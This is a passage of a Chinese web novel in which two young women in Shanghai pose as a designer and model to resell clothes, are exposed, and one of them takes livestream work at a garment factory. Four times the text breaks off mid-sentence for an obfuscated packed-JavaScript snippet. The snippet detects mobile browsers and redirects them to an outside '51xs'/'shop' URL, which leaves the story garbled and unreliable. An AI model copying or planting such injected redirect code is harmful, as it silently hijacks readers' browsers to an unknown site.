金鑫是个肉嘟嘟、一脸“福相”的小伙子，对谁都笑眯眯的。从传达室大爷到快递站阿姨，甚至食堂门口混吃混喝的大橘，整个学校没有和他不熟的。 他的头发理得略短，发型是看上去在德云社辈分能排到比较高的那一款。身上的红黑相间格子衫和白裤子都宽宽大大的，有种校园版“包租公”的松弛，脚下踩着双有点笨重的普拉达厚底鞋。 至于浑身的配饰……只能说和他的名字一样多金。大金链子小金表，生怕别人看不到。 虽说“烟火气”重了些许，时尚品味也难以捉摸了些许，可他确实是个如假包换的富二代，与他住过同一间宿舍的任何人都可以作证。 一开始林穗还担心对方不靠谱，可谈及留学花销的问题时，金鑫从裤子的后口袋里抽出了一个会喊“归零”的老式计算器，将可能产生的花销拆解成了一笔笔具体的预算事由，以夜市烤串店老板帮客人飞速结账的姿态一通计算，算得林穗心服口服。 “总而言之，如果她的目标院校位于都柏林，一年二十万是绝对包不住的。”金鑫总结道，“三十五万预算比较普适。如果她只吃学校食堂，没什么社交也不打算实习、旅游，三十万也勉强能包住。” “还差二十万……”林穗自语道。 金鑫又问前台要了纸笔，把几大银行的教育贷｜款｜政策罗列了下来，简要分析了一下各家的优缺点，并介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634466|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绍了自己当初选择的银行。 “可能有点冒昧，但有一个问题我真的很好奇……”林穗道。 “没事儿，都是朋友，尽管问。”金鑫说。 林穗咽了口唾沫，眼神有些游移，不确定这样针对个人经济状况的直接提问会不会冒犯到对方的边界感，不由得将声音变小许多：“您好像并不缺留学资金，为什么当时还选择了贷款？” “我当是什么问题呢。”金鑫毫不介意地笑道，“如果一样东西对于一个人来说是负担不起才不得不贷款，那是无奈之举，杠杆对他来说就是纯负债。但如果一个人完全能轻松负担，此时依然选择了贷款，杠杆于他而言就是种和时间赛跑、薅银行羊毛的金融工具。” 林穗蓦地被触动，方觉虚假的财务管理是对着电脑屏幕拉表对数，真实的财务管理是与实打实的生活博弈。对面坐着的好像已不是个人类，而是《小狗钱钱》里那只足智多谋的拉布拉多。 金鑫随和的态度也让她的沟通姿态有所松弛，于是她又问道：“方便听一听你‘和时间赛跑，薅银行羊毛’之后的故事吗？” 面对这个问题，金鑫倒是迟疑了片刻。他端起桌上的澳白喝了一口，还是做出了回答：“我爸不惯着孩子，当时连学费带生活费总共只给了我三十万。我用银行的留学贷款支付完刚需花销之后，就寻思起了怎样才能拿手头这三十万现金把要还银行的利息，甚至是学费赚回来。” 金鑫：“我分析了一下爱尔兰的留学生群体，很明显，他们有一定的消费能力，但也绝不是一掷千金毫不在意的那种，所以客单价过高的生意，譬如奢侈品、车子、高端餐饮等等，是一定做不大的。除了消费力和消费习惯之外，爱尔兰还有个特点，就是冬半年天黑得很早，学生们放学后唯一的社交活动几乎只剩下喝酒聊天，所以投资小酒馆是最靠谱的……” 他的故事还没讲完便被一通电话打断。拿着手机一阵交涉后，金鑫拱手道歉说：“对不住了，我烤肉摊上有人打架，我得去看看，咱们回聊。我让他们把最近的动物奶油新品都上一下，你们吃完再走。” 说着，他抄起桌上的老式计算器，打着电话匆匆离开了咖啡馆。 “这间店也是他投的。”金鑫离开后，肖潜耸耸肩，解释道：“两间大学的研究生院和一所职校，附近只有这一间像点样子的咖啡馆，这种极好的商机他是绝不可能错过的。” 突然，金鑫又转头回了店里，对林穗道：“对了，我长乐路有间店要兑出去，周末买家来看，需要充充人气。你要是有空的话可以带朋友来，装着在店里晃一晃就行，一人三百。” 还不等林穗回答，金老板便又风风火火跑了出去，边跑边朝门外喊：“哎，别动，那是我扫的共享单车！” 黄昏渐浓，刮起风来，玻璃窗逐渐挂上了缕缕倾斜的雨丝——又有一场雷阵雨要到来了。 “抱歉肖老师，我忘了你的伞……” 5. Chapter 5 晚上回到家，林穗把从金鑫那里得到的信息同许菲儿交流了一番。 “我相信他说的。”许菲儿叹道，“只能开源节流慢慢攒了。” “那周末一人三百块那个活儿我们一起去？” “嗯！” 金鑫要盘出去的店是一间“小众宠物咖”。 说到小动物主题的咖啡馆，绝大多数人的第一反应大概都是猫咖、狗咖。再小众一点，也见过羊驼咖。而金鑫这家店哪怕是在小众届，也称得上是“高处不胜寒”——他开爬行宠物咖和鹦鹉咖。 面对眼前的一切，林穗愣住了。 许菲儿笑得快要背过气去：“这个爬行宠物咖你是怎么想到的？人家去猫咖狗咖都是想和小猫小狗互动，爬行宠物要怎么互动啊？” “有些爬行动物的互动性也很强啊，比方说，谁能抗拒一只训练有素的中华小草龟呢？”金鑫刚要引两人去看他店里最亲人的一只乌龟，却见那龟翻出了玻璃水缸，险些从缸边摔到地上。 金鑫忙伸手去接：“哎呦乖乖哎，咱这个年代讲究科学算命，不用为了帮我卜那必然光明的财运而损失自己的龟壳。知道吗，再好看的水缸都只是临时住所，你自己的小壳儿才是永远的家。” 从金鑫话痨的样子和关切的神态来看，他是真的爱这满屋子的爬行动物。 “那鹦鹉呢，又是怎么想到的？”许菲儿笑得脸都红了。 “嗨，可别提了。我自己在宿舍养玄凤的时候觉得这小鸟亲人，它的七大姑八大姨各类相近品种应该也亲人，很适合搞个‘鹦鹉咖’。可这店开起来之后嘛，好家伙，才反应过来这些小鸟亲人归亲人，个个都是‘直肠子’，管得住入口管不住出口的。谁能在吃吃喝喝的地方受得了这个啊……” “接手这里的人是要延续你的两间店，还是另开新店啊？”林穗问道。 金鑫回答：“理想状况当然是直接延续我的宠物咖喽，这样的话各种小动物跟这里的桌椅设备我都不用另行处置，折价留给人家得了。可没人愿意接盘呀，就只能转租给两个打算开女装店的姐姐喽。我今天努力说服说服她们，尽量把我这些鱼缸留下来当摆设，毕竟‘遇水则发，聚水生财’嘛。哎，人来了，你们先逛，我去招呼一下。” 金鑫走后，两人边观赏店里的各类乌龟，边聊着天。 “身经百战的富二代也有投资失手的时候呀。”菲儿感慨，“不过搞不好人家把生意版图布局得很大，各种赛道早就做好了风险对冲呢。” “菲儿，话说这两天你和叔叔阿姨有破冰吗？”林穗问道。 “没有。我们之间的问题是长年累月积攒下来的。我知道自己现在还没能力彻底离开他们，但至少‘躲一阵子’可以恢复一下能量。”一提及家庭，菲儿的声音顿时冷了下来：“不过一直住在你这边也确实太打扰你生活了，我今晚就收拾一下东西，明天走。” 林穗：“菲儿，你误会了，其实我是想说如果你愿意，可以直接搬过来和我同住。” “真的吗？！” 林穗点点头：“嗯，我一个人待着也很孤单，甚至偶尔担心人身安全问题。两个人作伴正好放心一些。” 这套老房子的隔音并不好，昨晚她去洗手间时听到了菲儿和房产中介的对话内容： “麻烦您再帮我看看吧，我唯一的要求就是独居，不跟别人合租。位置楼龄朝向层高这些我都能接受的。预算……要是三千块找不到的话，我可以把预算提高到三千五……” 在上海搬过好几次家的林穗知道，这个价格就算能租到独立一室户，居住条件也绝不是从小锦衣玉食的许菲儿能忍受的。 见林穗主动发出邀约，许菲儿惊喜道：“真的可以吗小穗？” “当然了。” “我太爱你啦！那我跟你平摊房租。你现在的月租是多少？我先转三个月的给你。”许菲儿立即拿起了手机。 “不用什么房租，我们平摊水电就好。” “那怎么行呢？这样对你不公平。”许菲儿坚持道。 “菲儿，我知道你对留学是认真的。作为朋友，我虽然暂时没什么现钱，但想帮你的心也是认真的。咱们两个一起住，我的房租成本不会有任何变化，但可以让你节省一笔开支，攒学费的速度更快一些。别再想什么付房租给我了，你教我化妆也没收我学费，已经扯平啦。搬过来吧，我会很开心的。”林穗说。 菲儿眼眶都有些红了，一把抱住林穗：“你怎么这么好呀……我不管，水电你不许和我平分，让我一个人负责！还有你的冰箱都已经旧到不太灵了，我得给咱们换个新的。我还得买个扫地机器人帮咱们分担一下家务……” “好了好了，水电你交，但是小家电可别买了，好好攒钱吧！”林穗说。 金鑫应付走了“贵宾”，两人的任务也结束了。林穗把上次忘带的雨伞交给了金鑫，请他代为归还给肖潜。 暮色降临，上海秋夜里的梧桐区别有一番韵味。 一想到以后要开启同住新生活，姐妹俩的开心便溢于言表。她们揣着温热的芋泥奶茶，手挽着手游走在街巷之间，叽叽喳喳畅想着未来，久久不愿回到那位于远郊的僻静的家。 灯影斑驳，霓虹变幻，年轻人们的吉他和说笑声晕染着习习晚风，令秋夜像极了春夜。微风拂面，这一刻林穗甚至感到生活对她也存了许多温柔。 “哎，那套真好看……”许菲儿和林穗同时驻足，欣赏着街边一间小服装店橱窗里的套装衣裙。 “你感觉……像不像Mo姐的风格？”林穗回头问道。很显然，菲儿和她有同样的想法。 两人和店主讨价还价半天，终于将这套要价1050元的套装以850元的价格拿下。 第二天清晨，她们摘掉衣服的吊牌，不断变换着灯光和角度摆拍，然后把其中最有氛围感的一张发给了Mo姐。 “Mo姐早，我是上次在恒隆和您有过一面之缘的设计师菲儿。工作室最近又设计出一件新品套装，我个人感觉和您优雅知性的气质很配。您要是感兴趣的话，我把它留给您。” 发出这条信息时，许菲儿的心砰砰直跳，林穗也是。 紧张倒不是因为伪装身份，而是上次的成功经历实属偶然，几乎是纯靠运气，这次如果还能成功，就证实了这套赚钱逻辑的可实践性，她们的暴富大业就向前迈进了里程碑式的一步。 焦急地等待了十分钟，Mo姐回信息道：“多少钱？” 许菲儿和林穗差点欢呼出来，握着手机的手都微微颤动。 “5980元。” 刚发出去，她们立刻收到了Mo姐的转账。 两人激动坏了，忙回：“好嘞，您今天就可以收到美衣。” 她们小心翼翼将衣服包装好，在包装盒上浅浅喷了层仅剩一瓶底的香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634467|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈儿五号，然后叫来同城快递将衣服寄走了。 “菲儿，Mo姐就是我们的零号客户，她证明了这生意可行！这个信号的价值是5980元的十倍百倍！”林穗雀跃道。 “没错，有第一例就有第二例！天才，我们真是天才！机会果真是给美貌又聪明的人准备的，哈哈哈哈！”菲儿紧紧攥住林穗的手。 “零号客户”效应的到来比想象中还要快。第二天Mo姐便打来电话说她对衣服的设计和质感都十分满意。下周末她准备举办一场聚会，邀请的是自己的富太太客户们，希望她们可以把最新最好的设计带来供太太们挑选。 “古人诚不我欺，fakeittillyoumakeit，这个设计师我还就fake到底了！”接二连三的小胜利让许菲儿信心满满。 然而准备衣服是件体力活，因为既不能和商场的品牌装款，又不能看上去有任何廉价感。于是两人花了好几天时间，从巨富长一路走到七浦路，又从南京路一路搜罗到五角场，腿都快溜断了，终于挑选出七件单品，共花费4910元。不过她们也不怕，这钱总归是能从那些富太太身上赚回来的。 菲儿还斥五十元巨资在楼下打印店制作了一盒名片，有模有样地将自己的抬头写作“穗林工作室首席设计师”。 “这些人可是高净值优质客户，咱们得好好贡献情绪价值，给出最贴心的服务，维系好关系，构建出客户黏性。”菲儿头头是道地分析，“依我看，这次的聚会有十三位来宾，咱们只带七件单品刚刚好。小众、有腔调的东西就是不能量产。富人有时很奇怪的，越是饥饿营销就越受追捧，越能被她们抢购。” 而当她们的双脚真的踏上聚会现场的地毯时，成功人士们的气场还是给了她们极大的压力。 “来，我为大家介绍一下，这位就是年轻有为的服装设计师许小姐。我身上这套针织就是她的作品。”Mo姐向大家介绍道。 “大家好，谢谢Mo姐的引荐，也非常荣幸受邀来到现场。我们今天带来了七件单品，都是工作室的最新设计，每一样都有且只有一件。如果各位看中了哪件，我们的御用模特小姐会为大家试穿。”菲儿介绍道。 太太们纷纷上前欣赏，其中一位人称“容姐”的女士选中了一件长裙。 “您眼光真不错，我这就请模特小姐帮忙试穿。” 林穗去更衣室换上这条长裙，不知为何，她总感到一阵莫名的心慌。 容姐走向林穗，上下端详，满意道：“用料合适，款式大方，不错。” 这样审视的目光让林穗更心虚了。 菲儿刚要出言恭维，便听容姐继续道：“只是这鱼尾型裙摆的扩张程度有些大了。其实可以把版型往内收一收，在打版的环节不要呈现出过于明显的曲线，但在剪裁布料时将直裁变为斜裁，让它穿上身有个自然而然的弧度就好了。” 容姐又转向菲儿：“这样吧，麻烦许设计师按照我的意见将样衣修改一下，其他的地方无需改动。我先全款付给您，加上修改样衣的人工费。” 菲儿怔愣住了，不知如何应对——什么“直裁”“斜裁”“版型往内收”？她一个字也听不懂。 见她这副反应，容姐顿时明白过来。 “做设计师，却没有亲手做过样衣，也没碰过缝纫机？”容姐轻蔑一笑，没留任何面子：“小姑娘，赚钱可以，骗人可不好哦。” 6. Chapter 6 气氛瞬间如同冰冻，林穗和许菲儿都羞红了脸。 她们把事情想简单了。来之前有模有样筹划的那些“战略”在眼光老道的容姐面前就像个笑话。曾经的妄言妄语仿佛一记耳光，打向了思虑浅薄的自己。 林穗忘了那天她们是怎么夹着尾巴、仓皇走出会场的了，只记得Mo姐看向她们的最后一眼里充满了嫌恶。 她们狼狈地拖着两袋从“高定”原地变废品的衣服，汗津津地走进地铁。 来的时候，两个人想着今天至少可以入账两三万所以奢侈了一把打了车。而现在，高峰期挤挤攘攘的地铁车厢好像在告诉她们：美梦结束了，南瓜终究是南瓜，变不成马车。 许菲儿继续投身到繁冗琐碎的行|政工作中去，林穗则有些怅然，因为联系她的猎头推来的只有财务岗，那些市场、采购、人事、策划并不愿意接受一个二十九岁“高龄”的转行者。 林穗心烦时喜欢漫无目的地乱走。她不是多么爱热闹的人，但不知为何，上海市区的一些景观总对她有着神奇的治愈功效——虽然离她居住的大郊区非常远。 隔天晚上，菲儿加班，她一个人折腾了将近两小时“进城”去散步排解心情。 她路过一家电影院，电子海报上显示这里正在重映《爱情神话》。 林穗想了很久，最终还是走开了，因为六十元的电影票钱够她和菲儿去超市采购一大袋食材、饱饱吃上一顿火锅了。 在这一刻，“精神满足”没能打过“填饱肚子”。 难道真的要接着干财务吗？思考着这个问题，林穗把夜色中的静安寺绕了一圈又一圈。 如果接下猎头推荐的工作机会，这个月上岗，那么下个月月初就能拿到薪水，可以维持住一个还能活下去的现金流。但那真的是自己想要的吗？ 看着橱窗中映照出的颀长纤细的身影，她觉得她舍不得现在的自己，也不愿再回到那个封闭又自卑的过去。 回头路即绝路，万万不可以再走了。她的人生要的是一句问心无愧的“我很好”，而不是千千万万句用来自我说服的“忍忍吧”“算了吧”“还可以”。 “小姑娘，不好意思，我不是坏人，就是想问问你愿不愿意帮我的淘宝店拍照？”一个看起来五十多岁的爷叔拦住了林穗，主动对她说。 今天在静安寺附近，林穗已经被不下五个中年人缠着问要不要算命了，遇见这位爷叔，她以为又是什么奇奇怪怪的人，便没应声，低着头迅速走开了。 不一会儿，她散步来到旁边一条全是餐厅的街。正值用餐高峰期，人和馆前尽是等位的食客。 一个学生模样的年轻女孩扶着两只大行李箱，在门口等候区的椅子上焦急难安。抬头看见林穗，她纠结再三还是开口求助道：“您好，请问方便帮我看一下箱子吗？我约的朋友还没到，餐厅又说里面寄存区已经满了。但我现在真的很想去洗手间，实在是有点着急……” “没关系，你去吧，我帮你看一会儿。”林穗说。 “谢谢！我五分钟就回来，很快的。”女孩起身，把座位让给了她。 人和馆前的人行道很窄，店外的椅子平行地放置在路两侧，等位的人们隔着半米宽的人行道相对而坐，中间的空隙一次仅能容许一人通过——这使得途经这里的每一个人都像极了在走一段秀场T型台，两边全是观众。 林穗也觉得自己是在看秀——黑色贝雷帽、千鸟格小斗篷配黑色皮裙的女士走的是复古风；短款米色风衣连衣裙配□□靴的女生甜中带酷；醋酸收腰衬衫配花苞腰过膝半身裙的女士走的是通勤风…… 好像自从和菲儿一起假扮模特和设计师，她也开始关注和欣赏起了周围每一个人的穿搭。 这里不愧是上海，这里的每个女生也都正值她们欣欣向荣的好年华。 去洗手间的女孩回来后，林穗将行李箱交还给她。 她又往前走了走，发现刚才和她搭话的爷叔还没走，依然在街边寻找着能帮他的淘宝店拍照的路人。 林穗观察了半天，觉得他应该不是个骗子：骗子应该遍地撒网才是，而这位爷叔只去找骨骼纤细、身材高挑的女生，且每次被拒绝后也是真的沮丧，不停地叹着气。 过了一会儿他接了通电话：“客户明天就来……？不，不是展厅的问题，是我们之前没有搞过直播，一时半会儿也找不到合适的人啊……” 与此同时，菲儿也给林穗发来消息，灰心丧气地说自己把进回来那七件货放到了闲鱼和小红书上，三天三夜过去了还是无人问津，这下必然要砸在手里了。 林穗回复她：“别着急，先等等看。” 爷叔忙活了一整天也无果，只得转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634468|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身寻找地铁站，打算回去了。林穗忙赶了上来：“先生您好，您刚才说需要人帮忙做淘宝店是吗？” 爷叔眼前一亮：“对，对，小姑娘你愿意来吗？我的工厂在松江。” 在这个市面上几乎见不到现金的年代，他居然掏出一个长型钱夹，然后从钱夹中拿出自己的名片，十分正式地递给林穗， 爷叔：“小姑娘，我真的是这间工厂的厂长，不是骗子。” “方便的话，可以先去您的工厂看看吗？”林穗问道。 这间工厂在松江边缘的边缘，已经快不算是上海了。 林穗换乘了三条地铁线，颠簸了二十多站，才到达手机导航上说的地铁口。 她一出站就看到爷叔，也就是厂长南雁归老爷子骑着一辆小电驴在出口处等她，“驴耳朵”上还拴着为她准备的粉色头盔。 他们背后呼啸而过的是一辆辆把地面震到轰轰响的大卡车。 老爷子是宁波人，早年在南通和宁波两地都有自己的工厂。后来经济环境不好加上身体原因，工厂不得不关停了。 去年女儿考取东华大学的会计专业，来上海读书，他才接了这份上海的工作，从老家跑到松江来当这边服装厂的厂长。然而，在这个电商和外贸一年一种新玩法的时代，重返服装行业的南厂长彻底体验了一把“退隐方数日，世上已千年”——什么直播带货？什么小红书引流？他这个技术出身的老骨干听都听不懂。 “我也请过专业主播，给的也待遇不错，但人家做了不到一周就辞职了，说我这边没有团队跟她打配合，让她干得很累。”厂长无奈叹道，“我女儿倒是老看直播买东西，我想过让她帮帮忙来着，但她们专业好像太忙了，她完全抽不开身。” “是啊，会计专业是会比较忙。”林穗感同身受道。 “走吧，再去看看刚装好的展厅。”厂长带路道。 看着展厅里精美的陈列和视觉上令人极为舒适的色卡，林穗心生动容，感慨人类的内心总是会对“美丽”屈服。 “我帮您播一段时间试试，怎么样？”林穗问道。 厂长一惊，而后大喜。他本来是看中了林穗的外形条件，想让她拍摄一组新品的卖家秀，却没想到她会主动提议参与直播。 “不过您得给我几天时间，让我先熟悉熟悉。”她补充说。 7. Chapter 7 林穗和厂长协商于一周之后正式开播，她现在还有七天时间完成模特图的拍摄及其他准备工作。 厂里的服装主打日系通勤女装，风格是简洁大方中带有点小优雅，和林穗自己衣橱里的风格极其相似，应该算是她的舒适区了。 厂长南叔给了她25件新品样衣，并骄傲地表示这些都是技术科师傅们的得意之作，不论是质量还是设计都堪称上乘，拿到任何专柜去都有的一拼。他们缺的只是互联网时代的对外宣传，请林穗务必信心满满地将这些新品安利出去。 林穗一一看过样衣，认同了南叔在工艺水平上的信心。 “连一丝多余的线头都没有，对吧？”比起谈论直播电商时的愁容满面，谈到服装本身，南叔又恢复了作为技术专家的骄傲和底气：“我回国开厂前在日本踩了九年缝纫机，现在技术科和研发科的负责人都是我那时的朋友，后来跟我一起在宁波办过厂的。他们的水平你放心，绝对是市面上数一数二的。” “您现在还要自己上产线吗？”见身为一厂之长的南叔还要跑上跑下、事必躬亲地忙碌，林穗不禁疑惑地问道。 南叔叹道：“唉，我是劳碌命嘛，把干活儿的事情全交给别人自己心里会不踏实，所以还是跟着干，这样能放心些。” 两人没聊多久，打版师的小助手说是有事讨论，就把厂长叫走了。 临离开时，南叔嘱咐道：“客户的订单出了点问题，我得先去看看了。这边的事情就拜托你和小黎了，有什么问题随时来找我，辛苦了。” “好，您先去忙吧，这边我会上心的。”林穗道。 厂长口中的“小黎”名叫黎诗然。 外人或许很难相信，这偌大的服装厂负责电商业务的总共只有两个人——美工黎诗然和客服叶蔓。 她们的分工基本上是文静内向的叶蔓做客服，风风火火的黎诗然处理客服以外的所有事情。 叶蔓反应总是慢半拍，黎诗然快人快语，经常吐槽她。 两人虽没有上下级的汇报关系，可很明显黎诗然才是负责总体统筹的那一个，所以她也比按部就班打卡上下班的叶蔓忙碌无数倍。 短发、耳钉、皮衣、马丁靴，黎诗然虽身形瘦小，打扮却“姐感”十足。从她脸上吸睛却不浮夸的低调小烟熏妆容可以看出，她的审美和时尚感都是很在线的。她也是这个工厂为数不多每天都化全妆上班的人。 林穗同她打过交道后，发现她的工作能力应该也蛮强，只不过碍于工作量太巨大，很多事情懒得细究。 拍摄新品图的那天是黎诗然掌镜，林穗明显感觉得到她对很多照片都不满意，因为看预览时她总是皱着眉头，发出“啧”的一声。可当林穗上前请教应该怎么改进时，她却大手一摆，略显不耐烦道“就这样吧”，然后催林穗去换下一套样衣。 这几天“秋老虎”又有些反扑之势，打光灯下，纵使是开着空调也折腾得林穗满头是汗。 从上午十点一直工作到下午五点，25款模特图终于全都拍完。 林穗说想看一下今天的成果，被黎诗然拒绝了：“修图之前的底片没必要看。” 黎诗然看了看表，发现已经五点半，到了工厂下班的时间。于是她打包好自己的设备，一言不发地拂袖而去了。 毕竟是第一次正式做平面模特，看不到自己拍摄的效果，林穗心中愈发没底。 而当她在洗手间洗手之时，无意间听到一墙之隔的露台上，黎诗然正一面抽着电子烟，一面向工友吐槽着自己： “长得是挺漂亮，可是镜头底下太木了，教也教不出来的那种木，我也没必要白费劲了。镜头感这种东西有时是天生的，专业模特这碗饭不是大街上随便拉来一个路人就能分一杯羹的。” 林穗有些受挫，瞬间回想起之前在Cindy胡手下忍受的那些委屈，便默默将自己关回了展厅。 然而，仅仅消沉了十分钟她便完成了自我疏解：没错，黎诗然对她的态度确实不好，但这站在对方的角度来看是合理的。因为正如她在露台上所言，自己目前的身份只是厂长从大街上拉来的“外聘临时工”，真正要对拍摄结果负全责的是黎诗然这个更加资深的正式工。也就意味着一切工作怎么做要听黎诗然的安排，没有她的同意，自己所有多余的想法动作都只是画蛇添足、越俎代庖，包括“看一眼底片”。 也罢，既然拍摄工作已经告一段落就没必要再想了，好好准备接下来的直播才是正事。 没去管已经关门的食堂和窗外渐浓的夜色，林穗闷头在展厅里研究起了工厂之前的直播回放。 或许是太想把这件事做好的缘故，她投入极了，很快便进入了心流。等到再次抬起头来，时针已经走过了十二点，手机上也多了很多条来自菲儿的信息和未接来电： “宝贝，你什么时候回来呀？我点了麻辣烫，要给你留点不？” “十点半了，你走到哪儿了？” “快接电话！！！！我好担心！！！！” 林穗即刻回电给菲儿。 “小穗，你在哪里啊？吓死我了！”菲儿松了一口气，声音里还是充满了担忧：“再过半小时你要是还没消息，我就要报警了……” “对不起啊菲儿，我今天事情比较多所以现在还在工厂，这就往回走。你别等我了，先睡吧，我带钥匙和门禁卡了。”林穗愧疚道。她之前也因支援会计同事月结而加班到凌晨过，只是那时冷冰冰的家里并没有人等她。想到这里，林穗心头忽而一软。 “唉……”菲儿心疼道，“我知道你责任心强，但这又不是正式工作，一个兼职而已，不要以伤害自己身体健康为代价啊……” “嗯。”菲儿的语气让林穗想起了妈妈，鼻子不由得酸酸的。 “你快打车！‘上海发布’说今天凌晨有大雨到暴雨，你那个工厂又偏远，还不知道能不能打上。要是十五分钟之后还没有人接单就给我打电话，我从这边打个车过去接你。”挂掉电话后，菲儿微信上转来两百元钱，让林穗下单时给司机加点小费。 菲儿预料得没错，果然一直没人接单。 此时的窗外已经闷雷滚滚，园区里空无一人，连声狗叫都没有，林穗也有些害怕了。 她已经把小费上调至五十元了，可周围还是没有车。难道真的要原地过夜了吗？ 抱着试一试的想法，林穗屏蔽了菲儿和妈妈，带定位发了条朋友圈：“有没有朋友这个点在附近的？求捞。” 没想到没过多久，金鑫打来了电话：“我在松江，可以顺路捎你回去。” 坐上了金鑫的车，林穗紧绷的状态才松弛下来。 “你一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634469|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘怎么这么晚跑到这儿来？”见识了工厂的偏僻，金鑫问道。 “我找了个兼职，要来这里工作一阵子。”林穗说，“你呢？怎么这么晚也在松江？” “我不是把长乐路的店转出去了吗，想说再投个新店。有朋友说大学城这边要开一家密室逃脱，问我有没有兴趣，我就过来踩踩点。” 大城市的每个年轻人都不容易，连金鑫这样的富二代为了让日子过得更好都得早出晚归连轴转。相比之下，自己吃点苦头、受点委屈也算不了什么。 金鑫接了通电话后，对她道：“抱歉，有了点小意外，你介意我先去接个人吗？” 林穗摇摇头：“当然不。” “谢谢啦……”金鑫道，“这个人你也认识。” 金鑫说的那个“意外”就是酒醉后的肖潜。 他把肖潜从餐厅里搀出来扶上车，再系好安全带。后者完全不吵不闹，只是安安静静地坐在后排座位上闭着眼睛睡觉。 副驾驶位上的林穗转过身去，本想着打个招呼，见到肖潜低低垂着浓密的睫毛，好像睡得很熟，便没再打扰。 “他的恩师是大咖，应酬多，总是喜欢带着他。谁让他是大师兄呢？”金鑫边开车边解释道。 “但肖老师的酒量看起来……”林穗低声感叹。 金鑫笑道：“他那都不能叫‘酒量’，充其量叫‘过敏剂量’。真是怀疑拿个酒精喷壶在他面前喷一喷他就要醉倒。不过也无妨，他用不着贡献什么酒量，贡献贡献美色和名字就行。” 林穗使劲咬着嘴唇才没让自己笑出来。 “对了金老师，你了解电商方面的东西吗？”林穗道。 金鑫：“之前做过几年，怎么啦？” “那我正好有点问题想请教……”见对方有经验，林穗立马把她拍摄宣传图时的疑惑说了出来，和金鑫探讨。 两人相谈一路，交流了很多。 到达林穗家楼下时，金鑫朝她摆摆手：“我看你进去我再走。我估计还得去上几次松江，到时候再和你联系，能碰上的话就一起回来。” “谢谢金老师，今晚麻烦你了。” “小事儿。送你又不麻烦，送他才麻烦。”他朝后座上肖师兄的方向扬了扬下巴，调侃道：“我真是扛不动他了，等一下让他女朋友下楼来把他扛上去。” 回到家后林穗没有立马休息，而是拿出电脑把和金鑫讨论后的感悟总结了下来，因而拖到三点多才睡。 早晨八点自然醒后，她摸出了手机，发现平日里在朋友圈连个赞都不点的肖潜连着发了好几条动态，分别是： “一日之计在于晨。就算是单身，也要认真对待每一次早餐”，配图：他精心设计好的早餐摆盘。 “独居，热心，家里空间很大，可帮十一长假有计划出门的朋友代养小动物”，配图：他空空荡荡的家。 分享文章《扫地机器人究竟是不是智商税》，评论：“个人认为不是。扫地机器人入手后还是极大地减少了我的家务工作量的。所以除了家庭应用场景，像我这样的单身独居人士也建议考虑购入。” 紧接着，金鑫在微信上发来一个跪地请求的动画表情，并且说： “林穗姐姐，你今天有没有空去打羽毛球呀？拜托了，一定帮帮忙。你不来的话我就惨了。” 8. Chapter 8 林穗有些奇怪他为什么这么说，不过精神高度紧张地加了那么多天班，放松一下也好。于是她转头问菲儿：“菲儿，羽毛球局去不去？” 菲儿活动活动脖子道：“可以呀，正好最近颈椎疼。” 两人到达场馆后，发现坐在休息区等待她们的除了金鑫还有肖潜。 金鑫将矿泉水递给她们，露出招牌式的“和气生财”款笑容：“人数正好是双数，这样大家都能玩得尽兴些。” “金老师别嫌我们菜就行。”菲儿笑道。 “瞧您这话说的，应该是你们别嫌我。”金鑫道。 林穗发现金鑫有种很厉害的能力——不论遇见谁都能瞬间和对方处成朋友，不论在什么场合都能让氛围轻松融洽。这也是助力他事业运的重要因素之一吧，她想。因而她一面暗自观察着他的为人处事，一面对照着自己，想要学来几分。 见肖潜双眼之下有层淡淡的阴翳，又想起他昨晚在车后排睡到不省人事的样子，林穗道：“肖老师，你还好吗？” “还好。”肖潜微笑道，“我已经习惯了周末早起动一动了。” 在林穗眼里，肖潜的情绪总是异常稳定，很符合时下一个网络词汇——“人形机器人”。她会佩服这样的人，但她清楚自己做不到。 